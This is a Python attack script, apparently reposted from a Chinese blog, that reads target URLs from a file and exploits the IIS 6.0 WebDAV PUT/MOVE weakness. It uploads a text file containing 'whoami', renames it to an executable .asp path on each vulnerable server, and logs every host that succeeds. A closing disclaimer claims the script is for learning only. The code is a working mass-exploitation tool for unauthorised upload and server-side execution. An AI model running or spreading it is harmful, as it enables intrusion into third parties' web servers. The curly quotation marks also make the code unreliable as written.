import requests
import re
import sys
header = {
"Accept":"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01",
"Accept-Encoding":"gzip, deflate, br",
"Accept-Language":"zh-CN,zh;q=0.9",
"Connection":"keep-alive",
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36",
"X-CSRF-Token":"DpraMUR6PuefxdVpDmbZmgW9572Oz4CKSkqLa4u+astRxa+NSW5t0gfjlRB8cESuUrBvrD+zkGA9GFcfEYAVZA==",
"X-Requested-With":"XMLHttpRequest",
}
header1 = {
"Accept":"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01",
"Accept-Encoding":"gzip, deflate, br",
"Accept-Language":"zh-CN,zh;q=0.9",
"Connection":"keep-alive",
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36",
"X-CSRF-Token":"DpraMUR6PuefxdVpDmbZmgW9572Oz4CKSkqLa4u+astRxa+NSW5t0gfjlRB8cESuUrBvrD+zkGA9GFcfEYAVZA==",
"X-Requested-With":"XMLHttpRequest",
"Destination":"/love.asp",
}
body=‘whoami‘
def OKtxt(str):
with open("OKIIS.txt",‘a‘) as b:
b.write(str)
def OKurl(url):
try:
r=requests.put(url=url+‘/love.txt‘,headers=header,data=body,timeout=10)
print(r.status_code)
if r.status_code == 200:
r=requests.put(url=url+‘/love.txt‘,headers=header,data=body,timeout=10)
link_list = re.findall(r‘who(.*?)i‘, r.text, re.S|re.I)
print(link_list)
print("===========have no IIS6.0 PUT ===========")
elif r.status_code == 201:
print("=========== GOOD ===========")
print("=========== git it ===========")
r=requests.move(url=url+‘/love.txt‘,headers=header1,timeout=10)
OKtxt(url+"\n")
elif r.status_code == 204:
r=requests.put(url=url+‘/love.txt‘,headers=header,data=body,timeout=10)
link_list = re.findall(r‘who(.*?)i‘, r.text, re.S|re.I)
print(link_list)
print("===========GOOD===========")
else:
r=requests.put(url=url+‘/love.txt‘,headers=header,data=body,timeout=10)
link_list = re.findall(r‘who(.*?)i‘, r.text, re.S|re.I)
print(link_list)
print("=========== byby ===========")
except:
print("===========badly===========")
f =open("url.txt",‘r‘)
i=0
urllist=f.readlines()
for url in urllist:
if len(url)>2:
OKurl(url)
else:
print("======== OVer ========")
此脚本仅仅用于学习参考 切勿用于一切非法用途
一切后果与本人不管
且勿违反法律道德,后果自负。
原文:https://www.cnblogs.com/-zhong/p/11737010.html